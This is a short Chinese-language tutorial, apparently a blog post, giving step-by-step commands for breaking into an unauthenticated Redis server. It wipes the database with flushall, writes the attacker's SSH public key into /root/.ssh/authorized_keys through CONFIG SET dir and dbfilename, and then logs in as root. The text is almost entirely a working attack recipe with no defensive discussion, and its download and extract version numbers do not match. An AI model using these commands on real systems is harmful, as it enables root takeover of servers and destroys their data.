一:安装gcc编译环境(有就不用装了)
apt-get install gcc
apt-get install g++
二:安装redis服务(有就不用装了)
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-4.0.10.tar.gz
cd redis-4.0.10/
make && make install
三:生成ssh公钥
ssh-keygen
如图,这个3个地方都是回车就好,不需要输入什么其他的东西的。
之后就是百度的东西了
四:入侵redis
先连接redis看看
telnet 192.168.88.136 6379 redis-cli -h 192.168.88.136
telnet的这个命令,它的显示是这样的:
这个奇怪的东西是告诉你“按 ctrl + ] 可以变正常…..! ”
不管上面那个,按了之后再quit退出来吧,只要知道能连接就好了,如下图:
然后redis-cli的那个命令也是一样的,能连接就可以了
接下来:清一下redis数据库
redis-cli -h 192.168.88.136 flushall
向redis写自己的公钥
cat id_rsa.pub | redis-cli -h 192.168.88.136 -x set redis
开始生成的公钥也就是id_rsa.pub文件在~/.ssh/文件夹里面,自己把它cope出来或者就在那个/.ssh
/目录执行命令也行利用redis写入到文件中
连接redis
redis-cli -h 192.168.88.136
查看keys
192.168.88.136> keys *
写入配置库的路径及存放位置
192.168.88.136> CONFIG SET dir /root/.ssh/
写入配置库名称及存放的名字
192.168.88.136> CONFIG SET dbfilename "authorized_keys"
保存
192.168.88.136> save
退出
192.168.88.136> exit
OK!远程连接一下服务器吧!
ssh root@192.168.88.136